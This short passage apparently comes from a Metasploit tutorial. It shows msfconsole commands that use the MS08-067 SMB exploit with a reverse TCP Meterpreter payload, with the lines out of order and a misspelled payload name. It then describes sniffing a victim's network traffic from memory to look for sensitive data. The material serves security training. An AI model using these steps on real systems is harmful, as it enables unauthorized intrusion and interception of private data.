

Msf exploit( ms08_067_netapi) > set PAYLOAD windows/meterpeter/reverse_tcp msf > use exploit/windows/smb/ms08_067_netapi We first fire off our remote exploit toward the victim and gain our standard reverse Meterpreter console. The sniffer module can store up to 200,000 packets in a ring buffer and exports them in standard PCAP format so you can process them using psnuffle, dsniff, wireshark, etc.

This is especially useful if we want to monitor what type of information is being sent, and even better, this is probably the start of multiple auxiliary modules that will ultimately look for sensitive data within the capture files.

Meterpreter has the capability of packet sniffing the remote host without ever touching the hard disk.
